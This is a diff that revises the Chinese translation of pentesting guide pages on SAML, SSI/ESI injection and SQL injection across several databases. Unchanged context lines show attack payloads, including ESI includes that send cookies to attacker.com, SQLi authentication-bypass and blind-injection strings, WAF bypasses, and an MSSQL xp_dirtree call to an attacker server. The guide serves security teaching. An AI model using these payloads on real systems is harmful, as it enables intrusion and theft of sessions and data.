diff --git a/src/pentesting-web/saml-attacks/saml-basics.md b/src/pentesting-web/saml-attacks/saml-basics.md
index cdbe5453b..61f40c8dc 100644
--- a/src/pentesting-web/saml-attacks/saml-basics.md
+++ b/src/pentesting-web/saml-attacks/saml-basics.md
@@ -2,7 +2,7 @@
 
 # SAML 概述
 
-**安全断言标记语言 (SAML)** 使身份提供者 (IdP) 能够将授权凭证发送给服务提供者 (SP)，从而实现单点登录 (SSO)。这种方法通过允许在多个网站上使用一组凭证来简化多个登录的管理。它利用 XML 在 IdP 和 SP 之间进行标准化通信，将用户身份的认证与服务授权相连接。
+**安全断言标记语言 (SAML)** 使身份提供者 (IdP) 能够将授权凭证发送给服务提供者 (SP)，从而实现单点登录 (SSO)。这种方法通过允许在多个网站之间使用一组凭证来简化多个登录的管理。它利用 XML 在 IdP 和 SP 之间进行标准化通信，将用户身份的认证与服务授权相连接。
 
 ## SAML 与 OAuth 的比较
 
@@ -57,13 +57,13 @@ Host: shibdemo-sp1.test.edu
 
 - **ds:Signature**：此部分是 XML 签名，确保断言发起者的完整性和真实性。示例中的 SAML 响应包含两个 `ds:Signature` 元素，一个用于消息，另一个用于断言。
 - **saml:Assertion**：此部分包含有关用户身份的信息以及可能的其他属性。
-- **saml:Subject**：指定断言中所有语句的主要主题。
+- **saml:Subject**：指定断言中所有声明的主要主题。
 - **saml:StatusCode**：表示对相应请求的操作状态。
 - **saml:Conditions**：详细说明断言的有效时间和指定的服务提供者等条件。
 - **saml:AuthnStatement**：确认 IdP 已对断言的主题进行身份验证。
 - **saml:AttributeStatement**：包含描述断言主题的属性。
 
-在 SAML 响应之后，过程包括从 IdP 的 302 重定向。这导致对服务提供者的断言消费者服务（ACS）URL 的 POST 请求。POST 请求包括 `RelayState` 和 `SAMLResponse` 参数。ACS 负责处理和验证 SAML 响应。
+在 SAML 响应之后，过程包括来自 IdP 的 302 重定向。这导致对服务提供者的断言消费者服务（ACS）URL 的 POST 请求。POST 请求包括 `RelayState` 和 `SAMLResponse` 参数。ACS 负责处理和验证 SAML 响应。
 
 在接收到 POST 请求并验证 SAML 响应后，用户最初请求的受保护资源将被授予访问权限。这通过对 `/secure/` 端点的 `GET` 请求和 `200 OK` 响应来说明，指示成功访问资源。
 
@@ -95,7 +95,7 @@ XML 签名由基本元素组成，如下所示：
 
 ### XML 签名的类型
 
-1. **封装签名**：这种类型的签名是其所签名资源的后代，意味着签名包含在与被签名内容相同的 XML 结构中。
+1. **封装签名**：这种类型的签名是其签名资源的后代，意味着签名包含在与被签名内容相同的 XML 结构中。
 
 示例：
 
@@ -134,7 +134,7 @@ XML 签名由基本元素组成，如下所示：
 </ds:Signature>
 ```
 
-3. **分离签名**：这种类型与其所签名的内容是分开的。签名和内容独立存在，但两者之间保持链接。
+3. **分离签名**：这种类型与其签名的内容是分开的。签名和内容独立存在，但两者之间保持链接。
 
 示例：
 
diff --git a/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md b/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md
index 1e3986db7..4e38d5899 100644
--- a/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md
+++ b/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md
@@ -4,22 +4,22 @@
 
 ## 服务器端包含基本信息
 
-**（介绍摘自** [**Apache 文档**](https://httpd.apache.org/docs/current/howto/ssi.html)**）**
+**（摘自** [**Apache 文档**](https://httpd.apache.org/docs/current/howto/ssi.html)**）**
 
-SSI（服务器端包含）是**放置在 HTML 页面中的指令，并在服务器上评估**，同时页面被提供。它们允许您**向现有 HTML 页面添加动态生成的内容**，而无需通过 CGI 程序或其他动态技术提供整个页面。\
-例如，您可以将指令放入现有 HTML 页面中，例如：
+SSI（服务器端包含）是指令，**放置在 HTML 页面中，并在服务器上进行评估**，同时页面被提供。它们允许您**向现有 HTML 页面添加动态生成的内容**，而无需通过 CGI 程序或其他动态技术提供整个页面。\
+例如，您可以在现有 HTML 页面中放置一个指令，如：
 
 `<!--#echo var="DATE_LOCAL" -->`
 
 当页面被提供时，这个片段将被评估并替换为其值：
 
-`Tuesday, 15-Jan-2013 19:28:54 EST`
+`2013年1月15日，星期二 19:28:54 EST`
 
-何时使用 SSI，以及何时让您的页面完全由某个程序生成，通常取决于页面的静态部分有多少，以及每次页面被提供时需要重新计算多少。SSI 是添加小块信息的好方法，例如上面显示的当前时间。但如果您的页面大部分是在提供时生成的，您需要寻找其他解决方案。
+使用 SSI 的决定，以及何时让您的页面完全由某个程序生成，通常取决于页面的静态部分有多少，以及每次页面被提供时需要重新计算多少。SSI 是添加小块信息的好方法，例如上面显示的当前时间。但如果您的页面大部分是在提供时生成的，您需要寻找其他解决方案。
 
-如果 Web 应用程序使用扩展名为**`.shtml`、`.shtm` 或 `.stm`**的文件，您可以推断出 SSI 的存在，但这并不是唯一的情况。
+如果 web 应用程序使用扩展名为**`.shtml`、`.shtm` 或 `.stm`**的文件，您可以推断出 SSI 的存在，但这并不是唯一的情况。
 
-典型的 SSI 表达式具有以下格式：
+一个典型的 SSI 表达式具有以下格式：
 ```
 <!--#directive param="value" -->
 ```
@@ -65,7 +65,7 @@ SSI（服务器端包含）是**放置在 HTML 页面中的指令，并在服务
 ```
 Surrogate-Control: content="ESI/1.0"
 ```
-如果您找不到此头部，服务器**可能仍在使用 ESI**。\
+如果找不到这个头，服务器**可能仍在使用 ESI**。\
 **盲目利用的方法也可以使用**，因为请求应该到达攻击者的服务器：
 ```javascript
 // Basic detection
@@ -93,7 +93,7 @@ hell<!--esi-->o
 
 - **Includes**: 支持 `<esi:includes>` 指令
 - **Vars**: 支持 `<esi:vars>` 指令。用于绕过 XSS 过滤器
-- **Cookie**: 文档 cookies 可被 ESI 引擎访问
+- **Cookie**: 文档 cookies 对 ESI 引擎可访问
 - **Upstream Headers Required**: 代理应用程序不会处理 ESI 语句，除非上游应用程序提供头信息
 - **Host Allowlist**: 在这种情况下，ESI 包含仅可能来自允许的服务器主机，使得 SSRF 例如，仅可能针对这些主机
 
@@ -127,7 +127,7 @@ Use <!--esi--> to bypass WAFs:
 <esi:include src=http://attacker.com/$(HTTP_COOKIE)>
 <esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
 ```
-- 通过在响应中反射来使用 XSS 偷取 HTTP_ONLY cookie：
+- 通过在响应中反射来窃取 HTTP_ONLY cookie 的 XSS：
 ```bash
 # This will reflect the cookies in the response
 <!--esi $(HTTP_COOKIE) -->
@@ -160,7 +160,7 @@ Use <!--esi--> to bypass WAFs:
 <esi:request_header name="User-Agent" value="12345"/>
 </esi:include>
 ```
-- 添加响应头（用于绕过带有XSS的“Content-Type: text/json”的响应）
+- 添加头部以绕过响应中的 "Content-Type: text/json" 的 XSS
 ```bash
 <!--esi/$add_header('Content-Type','text/html')/-->
 
@@ -183,7 +183,7 @@ Host: anotherhost.com"/>
 ```
 ### ESI + XSLT = XXE
 
-在 ESI 中使用 **`eXtensible Stylesheet Language Transformations (XSLT)`** 语法是可能的，只需将参数 **`dca`** 的值指示为 **`xslt`**。这可能允许滥用 **XSLT** 来创建和利用 XML 外部实体漏洞 (XXE)：
+在 ESI 中使用 **`eXtensible Stylesheet Language Transformations (XSLT)`** 语法是可能的，只需将参数 **`dca`** 值指示为 **`xslt`**。这可能允许滥用 **XSLT** 来创建和利用 XML 外部实体漏洞 (XXE)：
 ```xml
 <esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
 ```
@@ -199,7 +199,7 @@ XSLT 文件：
 xslt-server-side-injection-extensible-stylesheet-language-transformations.md
 {{#endref}}
 
-### 参考文献
+### 参考
 
 - [https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/)
 - [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/)
diff --git a/src/pentesting-web/sql-injection/README.md b/src/pentesting-web/sql-injection/README.md
index ca6369e3b..977017ba7 100644
--- a/src/pentesting-web/sql-injection/README.md
+++ b/src/pentesting-web/sql-injection/README.md
@@ -9,7 +9,7 @@
 
 ## 入口点检测
 
-当一个网站由于对与 SQLi 相关的输入的异常服务器响应而显得**易受 SQL 注入 (SQLi)**攻击时，**第一步**是了解如何**在不干扰查询的情况下注入数据**。这需要有效识别**从当前上下文中逃逸**的方法。以下是一些有用的示例：
+当一个网站由于对 SQLi 相关输入的异常服务器响应而**看起来容易受到 SQL 注入 (SQLi)** 攻击时，**第一步**是了解如何**在不干扰查询的情况下注入数据**。这需要有效识别**逃离当前上下文**的方法。这些是一些有用的示例：
 ```
 [Nothing]
 '
@@ -71,7 +71,7 @@ page.asp?id=1 and 1=2 -- results in false
 
 ### 使用时间确认
 
-在某些情况下，您**不会注意到任何变化**在您正在测试的页面上。因此，发现盲注入的一个好方法是让数据库执行操作，并对页面加载所需的**时间产生影响**。\
+在某些情况下，您**不会注意到任何变化**在您正在测试的页面上。因此，发现盲注入的一个好方法是让数据库执行操作，这将对页面加载所需的**时间**产生影响。\
 因此，我们将在SQL查询中连接一个需要很长时间才能完成的操作：
 ```
 MySQL (string concat and logical ops)
@@ -210,15 +210,15 @@ _在每个不同的数据库中发现这些数据的方法各不相同，但方
 ```sql
 ?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
 ```
-## 利用错误盲注
+## 利用错误盲SQLi
 
-这是**与之前相同的情况**，但不是区分查询的真/假响应，而是可以**区分**SQL查询中的**错误**与否（可能是因为HTTP服务器崩溃）。因此，在这种情况下，每次正确猜测字符时，您可以强制产生一个SQL错误：
+这与之前的**情况相同**，但不是区分查询的真/假响应，而是可以**区分**SQL查询中的**错误**与否（可能是因为HTTP服务器崩溃）。因此，在这种情况下，每次正确猜测字符时，您可以强制产生一个SQL错误：
 ```sql
 AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
 ```
 ## 利用基于时间的 SQLi
 
-在这种情况下，**没有**任何方法可以根据页面的上下文来**区分**查询的**响应**。但是，如果猜测的字符是正确的，您可以使页面**加载时间更长**。我们之前已经看到过这种技术用于 [确认 SQLi 漏洞](./#confirming-with-timing)。
+在这种情况下，**没有**任何方法可以根据页面的上下文来**区分**查询的**响应**。但是，如果猜测的字符是正确的，您可以使页面**加载时间更长**。我们已经在之前看到过这种技术用于 [确认 SQLi 漏洞](./#confirming-with-timing)。
 ```sql
 1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
 ```
@@ -226,7 +226,7 @@ AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
 
 您可以使用堆叠查询来**连续执行多个查询**。请注意，尽管后续查询会被执行，但**结果**不会**返回给应用程序**。因此，这种技术主要用于与**盲漏洞**相关的情况，在这种情况下，您可以使用第二个查询触发DNS查找、条件错误或时间延迟。
 
-**Oracle**不支持**堆叠查询**。**MySQL、Microsoft**和**PostgreSQL**支持它们：`QUERY-1-HERE; QUERY-2-HERE`
+**Oracle** 不支持 **堆叠查询**。**MySQL、Microsoft** 和 **PostgreSQL** 支持它们：`QUERY-1-HERE; QUERY-2-HERE`
 
 ## Out of band Exploitation
 
@@ -252,7 +252,7 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
 - [Oracle](oracle-injection.md)
 - [PostgreSQL](postgresql-injection/)
 
-或者你会在 [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection) 找到 **关于 MySQL、PostgreSQL、Oracle、MSSQL、SQLite 和 HQL 的大量技巧**
+或者你会在 [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection) 找到 **关于：MySQL、PostgreSQL、Oracle、MSSQL、SQLite 和 HQL 的大量技巧**
 
 
 ## 认证绕过
@@ -267,7 +267,7 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
 ```sql
 "SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
 ```
-此查询展示了在身份验证检查中使用MD5并将原始输出设置为true时的漏洞，使系统容易受到SQL注入攻击。攻击者可以通过构造输入来利用这一点，这些输入在哈希时会生成意外的SQL命令部分，从而导致未经授权的访问。
+此查询展示了在身份验证检查中使用MD5并将原始输出设置为true时的漏洞，使系统容易受到SQL注入攻击。攻击者可以通过构造输入来利用这一点，这些输入在哈希后会生成意外的SQL命令部分，从而导致未经授权的访问。
 ```sql
 md5("ffifdyop", true) = 'or'6�]��!r,��b�
 sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!
@@ -278,14 +278,14 @@ admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
 ```
 **推荐列表**：
 
-您应该将列表中的每一行用作用户名，密码始终为：_**Pass1234.**_\
+您应该将列表中的每一行用作用户名，密码始终为： _**Pass1234.**_\
 &#xNAN;_(这些有效载荷也包含在本节开头提到的大列表中)_
 
 {% file src="../../images/sqli-hashbypass.txt" %}
 
 ### GBK 认证绕过
 
-如果 ' 被转义，您可以使用 %A8%27，当 ' 被转义时，将创建：0xA80x5c0x27 (_╘'_)
+如果 ' 被转义，您可以使用 %A8%27，当 ' 被转义时，它将被创建： 0xA80x5c0x27 (_╘'_)
 ```sql
 %A8%27 OR 1=1;-- 2
 %8C%A8%27 OR 1=1-- 2
@@ -308,25 +308,25 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
 
 ### 修改现有对象/用户的密码
 
-为此，您应该尝试**创建一个名为“主对象”的新对象**（在用户的情况下可能是**admin**）并修改某些内容：
+为此，您应该尝试**创建一个名为“主对象”的新对象**（在用户的情况下可能是**admin**），修改某些内容：
 
 - 创建名为：**AdMIn**（大小写字母）
 - 创建名为：**admin=**
-- **SQL 截断攻击**（当用户名或电子邮件有某种**长度限制**时）--> 创建名为：**admin \[大量空格] a**
+- **SQL截断攻击**（当用户名或电子邮件有某种**长度限制**时）--> 创建名为：**admin \[大量空格] a**
 
-#### SQL 截断攻击
+#### SQL截断攻击
 
-如果数据库存在漏洞，并且用户名的最大字符数例如为30，而您想要冒充用户**admin**，请尝试创建一个名为：“_admin \[30个空格] a_”的用户名和任意密码。
+如果数据库存在漏洞，并且用户名的最大字符数例如为30，而您想要冒充用户**admin**，请尝试创建一个名为：“_admin \[30个空格] a_”的用户名和任何密码。
 
-数据库将**检查**输入的**用户名**是否**存在**于数据库中。如果**不存在**，它将**截断****用户名**到**最大允许字符数**（在这种情况下为：“_admin \[25个空格]_”），然后它将**自动删除末尾的所有空格**，在数据库中更新用户“**admin**”的**新密码**（可能会出现一些错误，但这并不意味着这没有成功）。
+数据库将**检查**输入的**用户名**是否**存在**于数据库中。如果**不存在**，它将**截断****用户名**到**允许的最大字符数**（在这种情况下为：“_admin \[25个空格]_”），然后它将**自动删除末尾的所有空格**，在数据库中更新用户“**admin**”的**新密码**（可能会出现一些错误，但这并不意味着这没有成功）。
 
 更多信息：[https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
 
-_注意：在最新的 MySQL 安装中，此攻击将不再按上述方式有效。虽然比较仍然默认忽略尾随空格，但尝试插入一个超过字段长度的字符串将导致错误，插入将失败。有关此检查的更多信息：_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
+_注意：在最新的MySQL安装中，此攻击将不再按上述方式工作。虽然比较仍然默认忽略尾随空格，但尝试插入一个超过字段长度的字符串将导致错误，插入将失败。有关此检查的更多信息：_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
 
-### MySQL 插入基于时间的检查
+### MySQL插入基于时间的检查
 
-添加尽可能多的 `','',''` 以退出 VALUES 语句。如果执行了延迟，则您有 SQL 注入。
+添加尽可能多的`','',''`以退出VALUES语句。如果执行了延迟，则您有SQL注入。
 ```sql
 name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
 ```
diff --git a/src/pentesting-web/sql-injection/ms-access-sql-injection.md b/src/pentesting-web/sql-injection/ms-access-sql-injection.md
index a1fda2dac..b7f5b15d0 100644
--- a/src/pentesting-web/sql-injection/ms-access-sql-injection.md
+++ b/src/pentesting-web/sql-injection/ms-access-sql-injection.md
@@ -72,7 +72,7 @@ _Feel free to check this in the online playground._
 ```sql
 -1' AND (SELECT TOP 1 <table_name>)%00
 ```
-_随时可以在在线演示中检查。_
+_随时可以在在线演示中检查此内容。_
 
 - Sqlmap 常见表名: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
 - 另一个列表在 [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
@@ -87,7 +87,7 @@ _随时可以在在线演示中检查。_
 ```sql
 -1' GROUP BY column_name%00
 ```
-或者你可以使用以下方法对**不同表**的列名进行暴力破解：
+或者你可以使用以下方法暴力破解**不同表**的列名：
 ```sql
 '=(SELECT TOP 1 column_name FROM valid_table_name)='
 
@@ -126,7 +126,7 @@ and MSysObjects.name not like '~*'
 and MSysObjects.name not like 'MSys*'
 order by MSysObjects.name
 ```
-然而，请注意，在您**无法访问读取表 `MSysObjects`** 的情况下，发现 SQL 注入是非常典型的。
+然而，请注意，发现 SQL 注入的情况是非常典型的，**您无法访问读取表 `MSysObjects`**。
 
 ## 文件系统访问
 
diff --git a/src/pentesting-web/sql-injection/mssql-injection.md b/src/pentesting-web/sql-injection/mssql-injection.md
index f94eb2298..56c2e1cc2 100644
--- a/src/pentesting-web/sql-injection/mssql-injection.md
+++ b/src/pentesting-web/sql-injection/mssql-injection.md
@@ -8,8 +8,8 @@
 
 - **`SELECT DEFAULT_DOMAIN()`**: 获取当前域名。
 - **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: 如果你知道域的名称（在这个例子中是 _DOMAIN_），这个函数将返回**管理员用户的 SID**，以十六进制格式显示。它看起来像 `0x01050000000[...]0000f401`，注意**最后 4 个字节**是**500**的**大端**格式，这是**管理员用户的常见 ID**。\
-这个函数将允许你**知道域的 ID**（除了最后 4 个字节的所有字节）。
-- **`SUSER_SNAME(0x01050000000[...]0000e803)`** : 这个函数将返回**所指示 ID 的用户名**（如果有的话），在这种情况下**0000e803**的大端 == **1000**（通常这是创建的第一个常规用户 ID 的 ID）。然后你可以想象你可以对用户 ID 从 1000 到 2000 进行暴力破解，可能会获取域中所有用户的用户名。例如使用以下函数：
+这个函数将允许你**知道域的 ID**（除了最后 4 个字节以外的所有字节）。
+- **`SUSER_SNAME(0x01050000000[...]0000e803)`** : 这个函数将返回**所指示 ID 的用户名**（如果有的话），在这种情况下**0000e803**的大端 == **1000**（通常这是创建的第一个常规用户 ID 的 ID）。然后你可以想象你可以对用户 ID 从 1000 到 2000 进行暴力破解，可能会获取域中所有用户的用户名。例如，使用以下函数：
 ```python
 def get_sid(n):
 domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
@@ -19,7 +19,7 @@ return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
 ```
 ## **替代基于错误的向量**
 
-基于错误的 SQL 注入通常类似于 `+AND+1=@@version--` 这样的构造，以及基于 «OR» 操作符的变体。包含此类表达式的查询通常会被 WAF 阻止。作为绕过方法，使用 %2b 字符连接一个字符串与触发数据类型转换错误的特定函数调用的结果。
+基于错误的 SQL 注入通常类似于 `+AND+1=@@version--` 这样的结构，以及基于 «OR» 操作符的变体。包含此类表达式的查询通常会被 WAF 阻止。作为绕过方法，使用 %2b 字符连接一个字符串与触发数据类型转换错误的特定函数调用的结果。
 
 一些此类函数的示例：
 
@@ -95,7 +95,7 @@ EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');
 ```
 值得注意的是，这种方法可能并不适用于所有系统配置，例如在默认设置下运行的 `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)` 和 `Windows Server 2016 Datacenter`。
 
-此外，还有其他存储过程，如 `master..xp_fileexist` 和 `xp_subdirs`，可以实现类似的结果。有关 `xp_fileexist` 的更多详细信息，请参见这篇 [TechNet article](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx)。
+此外，还有其他存储过程，如 `master..xp_fileexist` 和 `xp_subdirs`，可以实现类似的结果。有关 `xp_fileexist` 的更多详细信息，请参阅这篇 [TechNet article](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx)。
 
 ### `xp_cmdshell` <a href="#master-xp-cmdshell" id="master-xp-cmdshell"></a>
 
@@ -105,9 +105,9 @@ EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');
 ../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/
 {{#endref}}
 
-### MSSQL 用户自定义函数 - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
+### MSSQL 用户定义函数 - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
 
-创建 CLR UDF（公共语言运行时用户自定义函数），即用任何 .NET 语言编写并编译成 DLL 的代码，以便在 MSSQL 中加载以执行自定义函数，是一个需要 `dbo` 访问权限的过程。这意味着通常只有在以 `sa` 或管理员角色进行数据库连接时才可行。
+创建 CLR UDF（公共语言运行时用户定义函数），即用任何 .NET 语言编写并编译为 DLL 的代码，以便在 MSSQL 中加载以执行自定义函数，是一个需要 `dbo` 访问权限的过程。这意味着通常只有在以 `sa` 或管理员角色进行数据库连接时才可行。
 
 在 [这个 Github repository](https://github.com/infiniteloopltd/SQLHttp) 中提供了 Visual Studio 项目和安装说明，以便将二进制文件作为 CLR 程序集加载到 MSSQL 中，从而实现从 MSSQL 内部执行 HTTP GET 请求。
 
@@ -141,7 +141,7 @@ SELECT dbo.http(@url);
 
 [Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)。
 
-提取表的完整内容的简洁方法涉及使用 `FOR JSON` 子句。与需要特定模式如“raw”的 `FOR XML` 子句相比，这种方法更简洁。由于其简洁性，`FOR JSON` 子句更受欢迎。
+提取表的完整内容的简洁方法涉及使用 `FOR JSON` 子句。与需要特定模式如“原始”的 `FOR XML` 子句相比，这种方法更简洁。由于其简洁性，`FOR JSON` 子句更受欢迎。
 
 以下是如何从当前数据库检索模式、表和列：
 ````sql
diff --git a/src/pentesting-web/sql-injection/mysql-injection/README.md b/src/pentesting-web/sql-injection/mysql-injection/README.md
index 0667e1568..e5a0abba2 100644
--- a/src/pentesting-web/sql-injection/mysql-injection/README.md
+++ b/src/pentesting-web/sql-injection/mysql-injection/README.md
@@ -14,7 +14,7 @@
 ```
 ## 有趣的函数
 
-### 确认 Mysql:
+### 确认 Mysql：
 ```
 concat('a','b')
 database()
@@ -105,7 +105,7 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
 
 ### 通过预处理语句执行查询
 
-当允许堆叠查询时，可以通过将要执行的查询的十六进制表示分配给变量（使用SET），然后使用PREPARE和EXECUTE MySQL语句最终执行查询，从而绕过WAF。类似于这样：
+当允许堆叠查询时，可以通过将要执行的查询的十六进制表示分配给一个变量（使用SET），然后使用PREPARE和EXECUTE MySQL语句最终执行查询，从而绕过WAF。类似于这样：
 ```
 0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
 ```
@@ -115,7 +115,7 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
 
 请记住，在 **MySQL** 的“现代”版本中，您可以将 _**information_schema.tables**_ 替换为 _**mysql.innodb_table_stats**_ 或 _**sys.x$schema_flattened_keys**_ 或 **sys.schema_table_statistics**
 
-### MySQL 注入没有逗号
+### MySQL 注入无逗号
 
 选择 2 列而不使用任何逗号 ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
 ```
@@ -138,7 +138,7 @@ select (select 1, 'flaf') = (SELECT * from demo limit 1);
 
 ### MySQL 历史
 
-您可以通过读取表 **sys.x$statement_analysis** 查看其他执行情况。
+您可以通过读取表格 **sys.x$statement_analysis** 查看其他执行情况。
 
 ### 版本替代**s**
 ```
diff --git a/src/pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md b/src/pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
index 81f761b6a..8fca36944 100644
--- a/src/pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
+++ b/src/pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
@@ -12,13 +12,13 @@
 
 假设 `secure_file_priv` 被禁用 (`""`)，并且授予了必要的文件和 `file_priv` 权限，则可以读取指定目录外的文件。然而，这些函数进行网络调用的能力高度依赖于操作系统。在 Windows 系统上，由于操作系统对 UNC 命名约定的理解，可以进行对 UNC 路径的网络调用，这可能导致 NTLMv2 哈希的外泄。
 
-此 SSRF 方法仅限于 TCP 端口 445，并且不允许修改端口号，尽管可以用于访问具有完全读取权限的共享，并且如先前研究所示，可以窃取哈希以进行进一步利用。
+此 SSRF 方法仅限于 TCP 端口 445，并且不允许修改端口号，尽管可以用来访问具有完全读取权限的共享，并且如先前研究所示，可以窃取哈希以进行进一步利用。
 
 ### 通过用户定义函数 (UDF) 进行远程代码执行 (RCE)
 
-MySQL 数据库提供了从外部库文件使用用户定义函数 (UDF) 的功能。如果这些库在特定目录或系统的 `$PATH` 中可访问，则可以从 MySQL 内部调用它们。
+MySQL 数据库提供了从外部库文件使用用户定义函数 (UDF) 的功能。如果这些库在特定目录或系统的 `$PATH` 中可访问，则可以从 MySQL 中调用它们。
 
-该技术允许通过 UDF 执行网络/HTTP 请求，前提是满足几个条件，包括对 `@@plugin_dir` 的写入访问、`file_priv` 设置为 `Y`，以及禁用 `secure_file_priv`。
+该技术允许通过 UDF 执行网络/HTTP 请求，前提是满足几个条件，包括对 `@@plugin_dir` 的写访问、`file_priv` 设置为 `Y`，以及禁用 `secure_file_priv`。
 
 例如，可以加载 `lib_mysqludf_sys` 库或其他支持 HTTP 请求的 UDF 库以执行 SSRF。这些库必须传输到服务器，可以通过对库内容进行十六进制或 base64 编码，然后写入适当的目录来实现。
 
diff --git a/src/pentesting-web/sql-injection/oracle-injection.md b/src/pentesting-web/sql-injection/oracle-injection.md
index 4dc235345..5664d8c5e 100644
--- a/src/pentesting-web/sql-injection/oracle-injection.md
+++ b/src/pentesting-web/sql-injection/oracle-injection.md
@@ -84,7 +84,7 @@ END;
 
 `UTL_TCP` 包及其过程和函数允许与服务进行 [基于 TCP/IP 的通信](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190)。如果为特定服务编程，此包可以轻松成为进入网络的途径或执行完整的服务器端请求，因为可以控制 TCP/IP 连接的所有方面。
 
-示例 [在 Oracle 文档网站上显示了如何使用此包建立原始 TCP 连接以获取网页](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190)。我们可以稍微简化一下，使用它向元数据实例或任意 TCP/IP 服务发出请求。
+示例 [在 Oracle 文档网站上展示了如何使用此包建立原始 TCP 连接以获取网页](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190)。我们可以稍微简化一下，使用它向元数据实例或任意 TCP/IP 服务发出请求。
 ```
 set serveroutput on size 30000;
 SET SERVEROUTPUT ON
diff --git a/src/pentesting-web/sql-injection/postgresql-injection/README.md b/src/pentesting-web/sql-injection/postgresql-injection/README.md
index 50ead8bfb..fd62ac7b0 100644
--- a/src/pentesting-web/sql-injection/postgresql-injection/README.md
+++ b/src/pentesting-web/sql-injection/postgresql-injection/README.md
@@ -4,11 +4,11 @@
 
 ---
 
-**本页面旨在解释不同的技巧，这些技巧可以帮助您利用在 PostgreSQL 数据库中发现的 SQL 注入，并补充您可以在** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) **找到的技巧。**
+**本页面旨在解释不同的技巧，帮助您利用在 PostgreSQL 数据库中发现的 SQL 注入，并补充您可以在** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) **上找到的技巧。**
 
 ## 网络交互 - 权限提升、端口扫描、NTLM 挑战响应泄露与外泄
 
